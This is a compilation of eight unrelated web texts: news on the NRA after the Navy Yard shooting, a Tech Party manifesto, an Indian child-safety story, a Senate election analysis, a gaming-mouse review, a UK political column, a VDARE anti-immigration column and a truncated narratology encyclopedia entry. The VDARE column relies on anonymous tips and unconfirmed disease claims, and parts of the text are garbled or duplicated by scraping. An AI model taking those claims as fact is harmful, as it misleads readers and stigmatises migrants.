-By Tom Curry, National Affairs Writer, NBC News  National Rifle Association leader Wayne LaPierre argued on NBC’s Meet the Press that “there weren’t enough good guys with guns" to confront the shooter responsible for last week's Washington Navy Yard rampage and he insisted that "when the good guys with guns got there, it stopped.”  In his first television interview since the mass shooting last Monday in which gunman Aaron Alexis killed 12 people, LaPierre, the executive vice president of the NRA, described the Navy Yard as a military facility that was “largely left unprotected.”  LaPierre said more personnel who work at military facilities, including retired military personnel, should be armed so they are able to stop attacks such as the one at the Navy Yard.  The NRA's Wayne LaPierre visits Meet the Press to reflect on the tragedy at the Navy Yard.  “We need to look at letting the men and women that know firearms and are trained in them, do what they do best, which is protect and survive,” he said.  LaPierre also vehemently criticized the flaws in the nation’s treatment of the mentally ill, especially of those mentally ill people who try to buy guns. “They need to be committed is what they need to be, and if they’re committed, they’re not at the Navy Yard,” he said.  “I’ve been into this whole (background) check business for 20-some years; I’ve said the system is broken for 20 years and nobody listens,” he said. “It’s broken in terms of our military bases…. On the gun check, the NRA supported the gun check because we thought the mental records would be in the (national instant check) system, we thought criminals would be in the system. And we thought they would be prosecuted.”  He said that the records of those adjudicated to be dangerous are not entered into the national instant check system for gun buyers. “So the Aurora shooter in Colorado gets checked and is cleared, the Tucson shooter gets checked and gets cleared, Aaron Alexis go through the federal and state check and gets cleared,” LaPierre said because the nation’s mental health system doesn’t detect a dangerous person such as Alexis.  LaPierre’s interview on Meet the Press mirrored his appearance on the program following the killings of 26 children and adults by Adam Lanza at a school in Newtown, Conn. last December, when LaPierre said, “If it’s crazy to call for putting police in and securing our schools to protect our children, then call me crazy.”  On Saturday night in a speech to the Congressional Black Caucus Foundation's awards dinner, President Barack Obama urged gun control proponents to redouble their efforts.  He referred to the unsuccessful struggle of gun control advocates last April to persuade the Senate to pass broader background checks on gun buyers and new restrictions on sales of certain types of weapons.  “We fought a good fight earlier this year, but we came up short and that means we've got to get back up and go back at it because as long as there are those who fight to make it as easy as possible for dangerous people to get their hands on a gun, then we've got to work as hard as possible for the sake of our children,” Obama said.  Senate Majority Leader Harry Reid, D- Nevada, said last week “we don’t have the votes” to pass expanded background check legislation.  While the policy debate after the Newtown shootings focused on proposals such as requiring background checks for private firearms transfers at gun shows and reinstating a ban on certain types of semiautomatic weapons, the focus after the Alexis shootings has primarily been on the procedures the Defense Department uses to do background checks on contractors such as Alexis with access to military bases and facilities.  Defense Secretary Chuck Hagel said last week that “something broke down” in the vetting procedures that allowed Alexis to enter the Navy Yard and kill 12 people, before being killed by police.  Hagel ordered Deputy Secretary Ashton Carter to lead an internal inquiry of the department’s procedures for granting security clearances.  Hagel also will create an independent panel to assess security clearance procedures and security at Defense Department facilities.  “Where there are gaps, we will close them. Where there are inadequacies, we will address them. And where there are failures, we will correct them,” Hagel told reporters last week.  The vetting process has been under scrutiny since the November 2009 massacre at Fort Hood, Texas, in which Army psychiatrist Nidal Hasan killed 13 people.  Virginia authorities said last week that Alexis had passed the required state and local background checks before buying the shotgun he used to begin his killing spree. He also used a handgun he took from a guard after killing him.  Alexis’s erratic behavior had been noticed by several people but apparently he hadn’t been treated for mental illness.  In his appearance on Meet the Press last December LaPierre warned that, “We have a mental health system in this country that has completely and totally collapsed. We have no national database of these lunatics.”  And he said many states don’t put their records of those adjudicated to be mentally ill into the national instant check system that is designed to screen out criminals and the mentally ill from buying guns.  In April the Senate rejected an amendment by Sen. Joe Manchin, D- W.V. and Sen. Pat Toomey, R- Pa., which would have required background checks for some intrastate firearms transfers between persons who aren’t licensed gun dealers. The Manchin-Toomey measure fell six votes short of the 60 votes it needed.  An alternate measure offered by Sen. Charles Grassley, R- Iowa, fell eight votes short. Grassley’s measure would have sought to improve background checks and would have enacted a uniform legal definition to prevent those adjudicated mentally incompetent by a court or committed to a psychiatric hospital from buying a gun.
-Home ~ Get The FREE Book ~ T Shirts ~ Contact Us We don't want to be locked into representation by agenda-driven political parties.  We believe that citizens should be able to guide their Representatives on how they want them to cast their district's house vote on every issue. To let the will of the people become the action of their Representative.  We believe Representatives should serve only three terms in the House and two terms in the Senate.  The only path to a transparent Democracy is by using technology to create a Direct Representative Democracy. Let the people rule the people!  Even after the election, everyone will still have an equal voice in our system.  In the 1700's when our forefathers drafted the Constitution, they never envisioned citizens having the ability to collectively communicate so easily with their Representatives.  Instead of letting our Representatives run wild for two years, let's use technology to collectively, as a community, guide them on how WE WANT them to cast OUR district's house vote.  If the people are going to live under a new law, they must have a say in the passing of that new law. YOUR ability to influence your Representative's actions should not end after Election Day.  It's no secret that the traditional political parties have developed rigid viewpoints. After an election, these parties get to decide who has access and control over their party's Representatives. This is why Congress frustrates us. They are failing the greater majority, the 7 out of 10 Americans who now feel that they have no representation in Congress - even those who voted for the "winners".  This philosophy is the culmination of five years of listening to hundreds of average people talking about their ideas on Democracy and how we're going to fix Congress. The Tech Party was born in Dania Beach and the philosophy was organized by one of the founding members Don Endriss . Tech Party members know one thing for sure, regardless of whether you agree with us or not, Direct Representative Democracy is coming. One way or another!  Help us to restore the joy of public service for the common good. YOUR opinion, YOUR voice, YOUR influence, should not end after Election Day! Together, with faith in our ability to focus on where Americans agree, strong ground will be created to move workable solutions forward.  If you believe in The Tech Party philosophy, please download and print the free PDF book and also e-mail the PDF to your family and friends.  It's time to combine something old with something new. Let's mix the original formula from 1776, with technology! Let the people rule the people!  Direct Democracy used in 435 individual districts creates  a perfectly transparent Direct Representative Democracy!  For more information:  Info@TheTechParty.com  Click here to help  www.TheTechParty.com © Copyright 2013 All Rights Reserved.
-Child Safety  Police said that the girl, found alone on the train at Kottayam, was handed over to Childline and eventually reunited with her family.  In a case that shocked fellow passengers and railway officials, a Kerala man mistakenly abandoned his four-year-old daughter, with whom he was travelling, on a train headed to Nagercoil.  The incident took place on Friday, according to railway officials. The man and his daughter had boarded the Shalimar-Nagercoil Gurudev Express from Salem, and were to get down at Palakkad. They were on their way to the man’s in-laws’ house in Wadakkanchery, which is near Palakkad.  The man, who was in an inebriated condition on the train according to officials, first missed the stop at Palakkad.  After realising he had missed his stop, the man hurriedly got off the train at the next station, and continued on to his in-laws’ home.  However, he forgot that he had left his daughter behind.  The child, who was sleeping on the train, began to cry when she woke up and did not see her father around.  "We found a four-year-old girl alone in the train at Kottayam and handed her over to Childline," an official said. He added that according to information later received from Childline personnel, the girl had been reunited with her parents.
-Kyle Kondik is managing editor of Sabato’s Crystal Ball, a nonpartisan political newsletter produced by the University of Virginia Center for Politics. He also directs the center’s Washington, D.C., office.  If Republicans capture control of the U.S. Senate, there will be many explanations for their victory: President Obama’s poor numbers, a great Senate map filled with attractive opportunities, a generally strong slate of candidates, the success of establishment-backed Republicans in primaries and others.  But one of the biggest factors will have hardly anything to do with the national political climate or, really, the campaign as a whole. Five Democrats, all of whom are old enough to be eligible for Medicare, decided not to run for another term in the Senate. Their decisions, all announced before May 2013, are a huge but largely forgotten boon to GOP hopes.  Story Continued Below  The five retirements were: Max Baucus of Montana, Tom Harkin of Iowa, Tim Johnson of South Dakota, Carl Levin of Michigan and Jay Rockefeller of West Virginia. (A sixth, Frank Lautenberg of New Jersey, had announced his retirement, but he later died: Sen. Cory Booker, a Democrat, now holds the seat after a special election last year.)  Retirements present a challenge for the incumbent party because it’s easier for a party to hold a Senate seat when an incumbent runs for reelection. Significantly easier.  Over the past half-century, about 85 percent of incumbent senators running in the general election were reelected. In open seats, during the same time period, the incumbent party held the seat just about 60 percent of the time. So not having an incumbent in a Senate race substantially reduces the odds of victory.  The importance of open seats to GOP Senate hopes is particularly pronounced because of the party’s recent inability to defeat Democratic incumbents.  In 1980, Republicans beat an eye-popping nine Democratic incumbents on Election Day to capture control of the Senate for the first time in a quarter-century. Since then, the GOP has not defeated more than two Democratic Senate incumbents in any general election. The party’s best recent Senate years, 1994 and 2010, were built largely on winning open seats (six in 1994, and four in 2010). Democrats, meanwhile, have had more success: They beat seven and six incumbent Republicans, respectively, in recapturing the upper chamber in 1986 and 2006. The latter year, 2006, was notable in that Democrats did not capture a single open seat in netting the six seats they needed to eke out a narrow 51-49 Senate edge.  Republicans seem likely to beat more than two Democratic Senate incumbents this November for the first time in almost 35 years: Sens. Mark Begich of Alaska, Mary Landrieu of Louisiana and Mark Pryor of Arkansas all have less than 50-50 odds of winning, according to the University of Virginia Center for Politics’ Crystal Ball ratings, which I help formulate. Sen. Mark Udall of Colorado is right at 50-50, and Sens. Kay Hagan of North Carolina and Jeanne Shaheen of New Hampshire are both in tough races too.  But in all likelihood, the foundation for this year’s GOP gains will be built on winning open seats. That’s why the Democratic exits loom so large in the upcoming election.  An election where these five senators chose to run for another term would look significantly different: There would probably be more competitive races, and Democrats would have a greater number of redoubts to hold off the Republican advance.  Let’s assume, for the purposes of this “what if” exercise, that all five retirees were healthy enough and eager enough to have run for reelection, which is of course a big assumption for a group whose average age is 74 years old:  West Virginia: Rockefeller might still be an underdog to Rep. Shelley Moore Capito (R), who entered the race before the incumbent retired. But that race would have been much closer, presumably, than Capito’s largely sleepy contest against West Virginia Secretary of State Natalie Tennant, and the National Republican Senatorial Committee would not have been able to just take a pass on the race, as it has this cycle. Capito’s strong performance as a candidate is an often overlooked bright spot for Republicans this cycle – she’s done so well, in a state where the GOP hasn’t won a Senate seat in more than a half century, that the race never became obviously competitive – but running in an open seat has made her job easier. The Crystal Ball rating here is Safe Republican; with Rockefeller in the race, we’d probably rate it just Leans Republican or maybe Toss-up. A few polls before Rockefeller retired suggested Capito would have started the race with a narrow lead, and Rockefeller did himself no favors by not being 100 percent pro-coal in recent years, a political problem in a state where coal is still king.  Montana: Baucus, like Rockefeller, would have been in for a very tough race in 2014 if he had run. The Democratic polling firm Public Policy Polling found him trailing 49 percent to 44 percent in early 2013 against Rep. Steve Daines, who eventually became the GOP nominee. Baucus announced his retirement in April 2013, and then later resigned to become ambassador to China. Gov. Steve Bullock appointed then-Lt. Gov. John Walsh, a fellow Democrat, to fill the vacancy. Walsh’s campaign, of course, fell apart over the summer under the weight of plagiarism. Now Democrats are stuck with little-known nominee Amanda Curtis, a state representative, and Daines is a huge favorite.
-Review of Logitech G900 Chaos Spectrum Wireless Gaming Mouse  Boxing  G900 Chaos Spectrum  Cable  Wireless dongle  Sidebuttons/blockout pieces for left and right side  Adapter for micro USB to USB to allow using the dongle on the mouse cable  Warranty  Weight & Shape  Click below for side by side pictures  (Click to show)  G900 vs Mionix Castor  G900 vs G502  G900 vs Zowie ZA11  G900 vs G302  G900 vs G402  G900 vs Steelseries Sensei  G900 vs Razer Deathadder 3GG900 vs Mionix CastorG900 vs G502G900 vs Zowie ZA11G900 vs G302G900 vs G402G900 vs Steelseries Sensei  Sensor / Performance  (Click to show)  (Click to show)  (Click to show)  (Click to show)  Wireless latency tests  How it is done  Result  Click latency test  Wireless signal robustness testsWireless latency testsHow it is doneResultClick latency test  Buttons / Cable / Scroll Wheel  Build Quality  Conclusion  Here I will review the new wireless G900 Chaos Spectrum mouse by Logitech.This mouse is the new top of the line mouse Logitech offers, featuring the PMW3366, the best sensor currently available and a wireless connection that is claimed to be faster than competitors wired connections. It also is customizable in the layout of the sidebuttons, allowing you to have them on the left side, right side or none at all. So let’s jump right in and see what the mouse also offers.First things first, the boxing. Logitech steps away from their small, simple boxes that were used for the G302/3, G402 and G502 and now has a box that reminds me of the Mionix Castor box in a way, at least after removing the sleeve.What's included:Box:Promo Picture with the button optionsThe G900 is an ambidextrous mouse with a shape that is more bulky than a Sensei in the back and just a bit flatter than the ZA11. It has an overall higher profile than both of these. To me it looks kind of like an ambi G402, but the G900 feels bigger in my hand than the G402 overall.Weight: 107 grams (mouse only)Length: 130mmWidth: 67mmEstimated width at grip position: 58mmHeight: 40mmNumber of buttons: 6-11Some comparison pictures with different miceTo my hand the G900 is the best Logitech shape so far, mainly because I highly favor ambidextrous designs and also because its sides are more rounded than previous mice. My grip on it is more of a palm grip I guess, because my palm lies on the mouse while I curl my finger just ever so slightly to be in the best position to actuate the buttons. This is how I hold the G900My hand is around 20 cm from the tip of my middle finger to the base.My thoughts on the shape are mainly positive as stated above, however there is one point of critique for me, which is the gap between the mouse buttons and the mouse body. If you look at previous Logitech mice like the G402 and G502 you’ll see that they had a ledge to the sides of the buttons, so does my beloved ZA11 and FK1. Those ledges prevent my ring finger from getting in between the button and the shell. With the G900 this isn’t a huge problem, because under no circumstances did my finger block me from actuating m2, but it’s still irritating my finger.I also think the mouse would look better without the gap.Other than the gap there is nothing I would change about the shape of this mouse. It does not need to be wider because the height of the mouse offers enough support for my grip, similar to how the ZA11 offers a better grip over the FK1 for me.Of course shape is completely individual preference, so everyone has to try for himself in the end.Regarding the weight: this mouse feels light, especially wireless but also with the cable. However it is not as light as a FinalMouse or even a Zowie ZA11, which has to be expected if you have a 15g battery inside of it. But for anyone who played with a Deathadder or Rival or any similar mouse in that range for a longer time: the G900 feels lighter than that definitely.I’ll keep this short, as there is nothing bad to say at all about the G900 sensor performance. It works perfectly fine in any configuration. Of course the jitter test at 12000 cpi looks horrible, but that is mainly because the physical movements for that are soooo tiny.All the following tests are done wireless!The real cpi for each setting can be seen in the mouse tester print.400 CPI, 1000Hz, wirelesscl_showpos 1 shows the angular displacement, after every swipe back and forth I reset to "setang 0 0". Horizontal displacements are as follows:0.280.200.440.44Sensitivity in game is 1.833, roughly 60cm/360, the swipes covered a distance of about 45cm.I think those values speak for themselves, considering how big of a movement I make the angular error is almost non existant.LOD is under 1CD, so less than 1.2mm without any surface tuning.The battery lifetime is stated to be 32h without leds on run-to-die, which seems to be accurate. In my tests I recorded how long the battery lasts in normal gameplay (at the time I just bought FarCry 4 and was playing that) and one full charge with leds breathing lasted 34h.The mouse goes into sleep mode after 30 minutes of inactivity, after that it’s a very short time to wake it up (less than half a second) and have immediate full functionality again.As I have no means to accurately test the wireless functionality other than “it never failed me at all” I’ll post some comparative tests that Logitech did. So be sure to take this with a grain of salt, but I have no reason to assume anything about this was doctored. I’ve seen the anechoic chamber they have in Lausanne first hand, so they are definitely capable of doing said tests.If you know the G303 buttons then you know the G900 buttons, but the G900 feels even better to me because I don’t need to curl my fingers as much. All the buttons click excellently, even the sidebuttons feel nice and crisp.Here’s a picture of the pre-tensioning spring for the main buttonsThe scroll wheel as the same free scroll functionality as the G502 wheel, but this time the wheel is much lighter. Yet you can still make it spin for 10 seconds easily with a flick of the finger, so it keeps the benefits without the negatives. If you use the scroll in normal mode it has very defined clicks, I never once had a misscroll with this wheel in all the months I tested it.Regarding the cable: of course you don’t really need it, but if you have to use it you can be sure that the cable is a very good one, to me it’s an improvement over the G502 cable. It’s almost like a Zowie cable but braided. So even there Logitech did not cheap out.The overall build quality is as good as it gets. The material used feels awesome to the hand, it offers a good grip for sweaty and dry conditions, it doesn’t scratch easily and fingerprints do not show on it. Everything about this mouse feels like quality.If you want to be nitpicky then it should be noted that the main buttons can be move a bit left and right if try to do that, but this does not happen when holding the mouse in a regular way and it is only because of the mechanical pivot key design.If there were ledges to the side of the main buttons this wouldn’t happen either, but I guess there needs to be a negative to any mouse.I think it’s obvious that my feelings towards the G900 are generally very positive. This mouse delivers on all its promises in a stunning fashion. The shape is great, the weight is relatively low, the performance is through the roof…Anything that could be criticized with this mouse is down to personal preference, but objectively this is the best you can get right now.In this review so far I’ve only focused on the performance aspects really, I didn’t even go into customization options or software. I might add this later on.
-A Kipling poem hangs above my desk. I was still staring at it at 3 o’clock this morning, wide awake as the reactionaries relentlessly obsessed in the white noise of the internet. “If you can keep your head when all about you / Are losing theirs and blaming it on you, / If you can trust yourself when all men doubt you, / But make allowance for their doubting too …”  If I became chancellor, I’d swap that red box for a green one | Molly Scott Cato Read more  Contrary to what appears to be popular belief, I am not very organised, nor particularly good at “media”. Anyone who pointed out the sicked-up shrimp in my hair on BBC1’s Question Time will know that. Yet if I could have predicted even a tenth of the reaction to my exercising my democratic right to vote for whoever the hell I like, I might not have chosen my birthday to do it.  It was my 27th birthday, and I had left the Labour party. In fact, I had quietly left some weeks beforehand, and run away to look for the living wage, the social housing, the repurposing of abandoned buildings, free education and the NHS. I had left the Labour party to find the values that I thought that it once stood for, and I found them, in the Greens.  Like greeting old friends, I embraced the importance placed on a national health service, on public transport, on sustainable energy, on fair pay for fair work. Here you were, all the time. Oh, how I’ve missed you. I couldn’t see you for a moment for all the Ukip drawbridges and Labour tougher-on-welfares and Tory making-works-pays, but there you were all along.  Jack Monroe and electoral Labour pains | Letters Read more  My politics have not changed. I have been campaigning for the living wage for as long as I have been campaigning, and it was the Greens at their 2013 conference who made a commitment to it. I have been increasingly uncomfortable with the “drawbridges” rhetoric on immigration of the far right, and was horrified to see similar suggestions on leaflets under Labour party mastheads. I am deeply grateful to the Labour party for its commitment to the food bank debate in December 2013, but that petition was also widely supported and shared by Green party members and activists.  For a long time now I have found myself defending my membership of the Labour party while wondering what values of mine it defended any more. I didn’t leave the Labour party. It left me, and many others besides. Yet we, the “defectors”, are lambasted as traitors, since it’s easier to launch personal attacks than political arguments, easier to insult and scaremonger than to reflect on why so many core and loyal voters are edging away uncomfortably. “Vote Green and you’ll get Tories!” they shriek at me. I voted Labour last year. I got Tories. There are no guarantees in a first-past-the-post system that we get the government that represents us.  Jack Monroe joins Green party Read more  The joy of living in a free and democratic country is that you can work out what your fundamental ethics and values are and vote for someone who you feel represents them. Oh for proportional representation: perhaps politics would be less brutally tribal. Perhaps politicians, at all levels, would do better to focus on their policies and shout loudly about those.  Forget what I’m doing; my little ballot-paper cross means as much as the next person’s. The only person whose vote you should care about is your own. Because if you don’t stand for something, you’ll fall for anything – and many a glossy leaflet shoved through your front door over the next seven weeks will be relying on exactly that.
-VDARE.com note:  At the end of this column, Michelle asks "And where's the GOP "leadership" in this country? Doing the bidding of the  loving U.S  GOP "leadership" , House Majority Leader Eric Cantor, has just been Very true, but one member of the, House Majority Leader Eric Cantor, has just been defeated in the Virginia primary.  A source tipped me off last week to a curious occurrence: It seems that two planeloads of illegal aliens were recently shipped to Massachusetts. The first reportedly landed at Hanscom Air Force Base in Bedford. According to my tipster, approximately 160 illegal immigrants arrived on that flight and stayed nearly a week before being transferred to a Department of Homeland Security site and then released.  The second flight reportedly was diverted from Hanscom to Boston's Logan Airport this past weekend. I am told that both Massachusetts and New Hampshire officials were on hand. I reached out to Hanscom AFB for confirmation, but did not receive a call back by my deadline.  Question: How many other military bases are stealthily being used to redistribute, house, process and release illegal border crossers?  What we do know for sure is that the Obama administration already has converted several other military bases across the country into outposts for tens of thousands of illegal aliens from Central and South America.  San Antonio's Lackland Air Force Base opened its doors as an illegal immigrant camp last month. Port Hueneme Naval Base in Ventura County, Calif., will shelter nearly 600 illegal border-crossing children and teens. The Fort Sill Army post in Lawton, Okla., was ordered on Friday to take in 1,200 illegal aliens despite the objections of GOP Gov. Mary Fallin, who blasted the White House, saying, "The Obama administration continues to fail in its duty to protect our borders and continues to promote policies that encourage, rather than discourage, illegal immigration."  A makeshift detention center in Nogales, Ariz., is being used as the central clearing station for the latest illegal alien surge. The deluge is a threat to national security, public safety and public health—not to mention a slap in the face to the law-abiding men and women in uniform on those bases and a kick in the teeth to law-abiding people around the world patiently waiting for approval of their visas.  Meanwhile, a law enforcement source in Texas tells me this week that countless illegal aliens are being released into the general public despite testing positive for tuberculosis. "The feds are putting them on public transportation to God knows where," he said.  Another source, working in the Border Patrol in south Texas, tells me: "Our station, along with every other station, is flooded with women and small children. One lady yesterday had a baby as young as 8 months. And they're coming over with pink eye and scabies. So getting them medically cleared becomes a priority. They'll be here for almost a week, so we provide them with formula and diapers. We have a catering service contracted to feed them because it's too many for us to feed on our own. And of course, they end up being released because every family housing facility is full. They're supposed to show up for immigration court at a later date, but they don't."  Same old, same old. I've reported for years on the feds' catch-and-release games and deportation Kabuki. The "notice to appear" letters—known as "run letters"—are a notorious joke in open-borders circles.  The latest "crisis" is a wholly manufactured byproduct of White House administrative amnesties, which are supported by a toxic alliance of ethnic-vote-seeking Democrats and cheap-labor-hungry Big Business Republicans. The flood comes just as Obama's DHS announced a two-year extension for beneficiaries of the "Deferred Action for Childhood Arrivals" (DACA) program. A whopping 560,000 illegal aliens have been granted amnesty under DACA and also have received employment authorization.  As I've said for two decades, illegal alien amnesties guarantee two things: more illegal immigration and more Democratic voters. Now we have a White House forcing U.S. military bases to provide interminable benefits and services to illegal aliens for political gain, while said White House evades responsibility for allowing military veterans to die waiting for the most basic of medical services.  And where's the GOP "leadership" in this country? Doing the bidding of the amnesty-loving U.S. Chamber of Commerce and demonizing Republican candidates at every level who are sick and tired of giving away the store and the country.  God save us from bipartisanship.
-Computational Narratology  Last modified: 28 January 2013  Inderjeet Mani  [1] 1 Definition  [2]  Computational narratology is the study of narrative from the point of view of computation and information processing. It focuses on the algorithmic processes involved in creating and interpreting narratives, modeling narrative structure in terms of formal, computable representations. Its scope includes the approaches to storytelling in artificial intelligence systems and computer (and video) games, the automatic interpretation and generation of stories, and the exploration and testing of literary hypotheses through mining of narrative structure from corpora.  [3]  The use of the term ‘Computational Narratology’ covers several senses: (i) a ‘humanities narratology’ sense, used in Meister ( Meister, Jan Christoph (2003). Computing Action. A Narratological Approach. Berlin: de Gruyter. 2003 ) to designate a methodological instrument in the construction of narratological theories, from the standpoint of automatically extending narratological models to larger bodies of text, providing empirical testing of their predictions in actual corpora, and precise and consistent explication of concepts; (ii) a ‘cognitive computing’ sense, used as a title for a course (Goguen Goguen, Joseph (2004). CSE 87C Winter 2004 Freshman Seminar on Computational Narratology. Department of Computer Science and Engineering, University of California, San Diego. 2004 ) covering artefacts such as narrative texts, video games, and computational artworks, and integrating insights from semiotics, sociolinguistics and cognitive linguistics. Fox Harrell has characterized it further, as providing “techniques from computer science to provide a language to describe cognitive insights and to implement narrative effects of the type analyzed in discourse narratology” (Harrell Harrell, D. A. (2007). Theory and Technology for Computational Narrative. PhD Thesis, Departments of Computer Science and Cognitive Science, University of California, San Diego. 2007 : 7); (iii) a ‘computational implementation of narratology’ sense (cf. Cavazza & Pizzi [ Cavazza, M. & D. Pizzi (2006). “Narratology for Interactive Storytelling: A Critical Introduction.” S. Gobel, R. Malkewitz, & I. Iurgel (eds.), Technologies for Interactive Digital Storytelling and Entertainment. Third International Conference. Lecture Notes in Computer Science, 4326. Berlin: Springer. 2006 ] and many others), referring to the importation of constructs from humanities narratology for implementation in computer systems that carry out storytelling, along the lines of computational linguistics, where formalisms from linguistic theories are implemented in systems.  [4] 2 Explication  [5]  Meister, Jan Christoph (2011). “Narratology.” Paragraph 1–81. P. Hühn et al. (eds.), the living handbook of narratology. Hamburg: Hamburg UP. 2011 ; As “a humanities discipline dedicated to the study of the logic, principles, and practices of narrative representation” (Meister → Narratology), narratology has a natural and substantial overlap with the (scientific and engineering) disciplines involved in the development of artificial intelligence systems aiming for human-like narrative behavior, as well as the (engineering and aesthetic) practices involved in the design of intelligent computer-based interfaces and game environments for interacting with narratives. In the course of developing such systems, researchers have mapped narratological constructs to computational ones and elucidated interactions among them, formulating (sometimes implicitly) theoretical and empirical approaches to narrative. Computational narratology has also been strongly influenced by linguistic theories.  [6]  Computational narratology is a fast-evolving field, motivated in part by the surge in popular interest in interactive games and entertainment and their promise of offering engaging narratives with life-like characters. The pervasiveness of computer technology and digital media in everyday life and cultural activity has substantially raised expectations about their future involvement. The advent of the new millennium has accordingly seen a spate of books, journal articles and conferences on topics related to this subject.  [7] 3 History of the Concept and its Study  [8] 3.1 Influences from Humanities Narratology  [9]  fabula versus sujet (Šklovskij Šklovskij, Viktor B. (Shklovsky, Victor) ([1917] 1965). “Art as a Technique.” L. T. Lemon & M. J. Reis (eds.), Russian Formalist Criticism. Lincoln: U of Nebraska P, 3–24. [1917] 1965 ; Tomaševskij Tomaševskij, Boris (Tomashevsky) ([1925] 1971). A Theory of Literature. Letchworth: Bradda Books. [1925] 1971 ) has provided a scaffolding for much of the computational narratology work in story generation, where the fabula is usually implemented – as in Genette ( Genette, Gérard ([1972] 1980). Narrative Discourse: An Essay in Method. Ithaca: Cornell UP. [1972] 1980 ) – as the events of the entire narrative in chronological and causal order prior to any verbalization thereof, and where the sujet is the final generated output. Here events ( Propp, Vladimir ([1928] 1968, 1988). Morphology of the Folktale. 2nd edn. Austin: U of Texas P. [1928] 1968 ), e.g., Grasbon & Braun ( Grasbon, D. & N. Braun (2001). “A Morphological Approach to Interactive Storytelling.” Proceedings of Artificial Intelligence and Interactive Entertainment, CAST '01, Living in Mixed Realities, Sankt Augustin, Germany, 337–40. 2001 ); Peinado & Gervás ( Peinado, Federico & Pablo Gervás (2006). “Evaluation of Automatic Generation of Basic Stories.” New Generation Computing 24: 289–302. 2006 ) as well as those of Bremond ( Bremond, Claude (1970). “Morphology of the French Folktale.” Semiotica 2: 347–275. 1970 ), e.g., Schäfer et al. ( Schäfer, L., A. Stauber & B. Brokan (2004). “Storynet: An Educational Game for Social Skills.” S. Göbel et al. (eds.), Technologies for Interactive Digital Storytelling and Entertainment, Second International Conference, TIDSE 2004, LNCS 3105. Berlin: Springer, 148–157. 2004 ); Cavazza & Charles ( Cavazza, M. & F. Charles (2005). “Dialogue Generation in Character-based Interactive Storytelling.” AAAI First Annual Artificial Intelligence and Interactive Digital Entertainment Conference, Marina del Rey, California. 2005 ). More coarse-grained accounts of the roles of characters in plot ( Freytag, Gustav (1900). Freytag's Technique of the drama : an exposition of dramatic composition and art. Translated by Elias J. MacEwan. Chicago: Scott, Foresman. 1900 ) and the heroic quest of Campbell ( Campbell, Joseph ([1949] 1990). The Hero with a Thousand Faces. New York: Harper & Row. [1949] 1990 ), have also inspired the design of many interactive narrative systems (Mateas & Stern Mateas, M. & A. Stern (2005). “Structuring Content in the Facade Interactive Drama Architecture.” Proceedings of Artificial Intelligence and Interactive Digital Entertainment (AIIDE 2005), Marina del Rey. 2005 ; Gervás et al. Gervás, Pablo, Birte Lönneker-Rodman, Jan Christoph Meister & Federico Peinado (2006). “Narrative Models: Narratology Meets Artificial Intelligence.” Proceedings of the LREC-06 workshop Toward Computational Models of Literary Analysis, Genoa, Italy. 2006 ). In relation to the sujet, text information extraction systems (Mani et al. Mani, I., B. Wellner, M. Verhagen, C. M. Lee & J. Pustejovsky (2006). “Machine Learning of Temporal Relations.” Proceedings of the 44th Annual Meeting of the Association for Computational Linguistics, Sydney, Australia, 753–60. 2006 ; Mani Mani, I. (2010a). The Imagined Moment. Lincoln: U of Nebraska P. 2010a ) have been able to infer Genette’s ( Genette, Gérard ([1972] 1980). Narrative Discourse: An Essay in Method. Ithaca: Cornell UP. [1972] 1980 ) temporal orderings ( Montfort, Nick (2011). “Curveship's Automatic Narrative Variation.” Proceedings of the 6th International Conference on the Foundations of Digital Games (FDG '11), 211–18, Bordeaux, France. 2011 ) have used rules that can express any of Genette’s orderings with a felicitous use of narrative voice, tense, and aspect. Research in computational narratology has absorbed and instantiated approaches from humanities narratology that specify formal and/or logical structure. The narratological differentiation ofversus(Šklovskij; Tomaševskij) has provided a scaffolding for much of the computational narratology work in story generation, where the fabula is usually implemented – as in Genette () – as the events of the entire narrative in chronological and causal order prior to any verbalization thereof, and where the sujet is the final generated output. Here → Event and Eventfulness) like other narratological constructs, are given a precise and specific computational representation, involving their participants, places and times, and in some cases their causes and effects. Focusing on fabula, algorithms to generate story have incorporated the narrative functions of Propp (), e.g., Grasbon & Braun (); Peinado & Gervás () as well as those of Bremond (), e.g., Schäfer et al. (); Cavazza & Charles (). More coarse-grained accounts of the roles of characters in plot ( → Character), such as the narrative arc of Freytag () and the heroic quest of Campbell (), have also inspired the design of many interactive narrative systems (Mateas & Stern; Gervás et al.). In relation to the sujet, text information extraction systems (Mani et al.; Mani) have been able to infer Genette’s () temporal orderings ( → Time) by having the computer learn from annotated corpora, while sentence generators such as Montfort () have used rules that can express any of Genette’s orderings with a felicitous use of narrative voice, tense, and aspect.  [10] 3.2 Influences from Linguistics  [11]  story grammars, (e.g., Rumelhart Rumelhart, David E. (1980). “On Evaluating Story Grammars.” Cognitive Science 4: 313–16. 1980 ), have been widely elaborated and applied in computational narratology, as in Bringsjord & Ferrucci ( Bringsjord, Selmer & David A. Ferrucci (2000). Artificial Intelligence and Literary Creativity: Inside the Mind of BRUTUS, a Storytelling Machine. Mahwah, NJ: Lawrence Erlbaum. 2000 ) and Lang ( Lang, R. (2003). “A Declarative Model for Simple Narratives.” M. Mateas & P. Sengers (eds.), Narrative Intelligence. Amsterdam: John Benjamins. 2003 ). These notions, along with others arising independently out of AI, such as scripts (Schank & Abelson Schank, Roger C. & Robert P. Abelson (1977). Scripts, plans, goals, and understanding: An inquiry into human knowledge structures. Hillsdale, NJ: Lawrence Erlbaum. 1977 ), have also (despite their computational brittleness) influenced humanities narratology ( Salway, Andrew & David Herman (2008). “Digitized Corpora as Theory- Building Resource: New Foundations for Narrative Inquiry.” R. Page & B. Thomas (eds.), New Narratives: Theory and Practice. Lincoln: U of Nebraska P. 2008 ), and in recent years, more advanced text mining techniques have allowed for large-scale empirical tests of literary hypotheses. For example, Elson et al. ( Elson, David K., Nicholas Dames, & Kathleen R. McKeown (2010). “Extracting Social Networks from Literary Fiction.” Proceedings of the 48th Annual Meeting of the Association for Computational Linguistics (ACL’2010), 138–47. 2010 ) have been able to automatically extract conversational social networks from the dialogues between characters in 19th-century novels, disproving a claim by the literary critic Moretti ( Moretti, Franco (1999). Atlas of the European Novel, 1800–1900. London: Verso. 1999 ) that urban novels reflect the looser ties of city life, resulting in more characters sharing fewer conversations. Constructs which have emerged from linguistics, such as, (e.g., Rumelhart), have been widely elaborated and applied in computational narratology, as in Bringsjord & Ferrucci () and Lang (). These notions, along with others arising independently out of AI, such as(Schank & Abelson), have also (despite their computational brittleness) influenced humanities narratology ( → Schemata and → Cognitive Narratology). The contributions of corpus linguistics to narratology are also well-recognized (Salway & Herman), and in recent years, more advanced text mining techniques have allowed for large-scale 